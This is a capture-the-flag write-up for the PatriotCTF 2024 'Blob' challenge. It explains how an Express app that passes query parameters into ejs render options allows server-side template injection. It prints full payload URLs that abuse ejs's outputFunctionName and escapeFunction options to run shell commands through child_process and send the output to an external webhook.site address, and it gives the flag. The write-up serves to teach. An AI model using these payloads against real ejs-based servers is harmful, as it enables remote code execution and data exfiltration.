← Back to home

PatriotCTF 2024 — Blob

blob says: blob

http://chal.competitivecyber.club:3000

We're given an express server that looks like this:

Code (js):

1require("express")()
2  .set("view engine", "ejs")
3  .use((req, res) => res.render("index", { blob: "blob", ...req.query }))
4  .listen(3000);

Because express by default has extended query string parsing enabled,

image

we essentially have arbitrary access to the options passed to ejs's render() function.

At first glance, we should be able to use the same exploit from a challenge in BitsCTF 2024, but ejs seems to have patched it in 3.17.

Code:

1http://chal.competitivecyber.club:3000/?settings[view%20options][outputFunctionName]=x%0Afetch(%60https://webhook.site/fb92548e-56b3-4f02-9ca7-2b702be8f227?flag=$%7Bprocess.mainModule.require(%27child_process%27).execSync(%27cat%20flag.txt%27).toString()%7D%60)%0As

image

Luckily, there's still a plethora of unfixed ejs SSTI CVEs, such as this one with escapeFunction. Using that, we can go to

Code:

1http://chal.competitivecyber.club:3000/?settings[view%20options][client]=true&settings[view%20options][escapeFunction]=1;return%20fetch(`https://webhook.site/fb92548e-56b3-4f02-9ca7-2b702be8f227?flag=${process.mainModule.require('child_process').execSync('ls').toString()}`);//

to view the directory structure of the server.

image

Then, we can simply use the same exploit to cat flag-aaee2b1430.txt and get the flag:

Code:

1http://chal.competitivecyber.club:3000/?settings[view%20options][client]=true&settings[view%20options][escapeFunction]=1;return%20fetch(`https://webhook.site/fb92548e-56b3-4f02-9ca7-2b702be8f227?flag=${process.mainModule.require('child_process').execSync('cat%20flag-aaee2b1430.txt').toString()}`);//

image

Code:

1CACI{bl0b_s4y_pl3453l00k0utf0rpr0707yp3p0llut10n}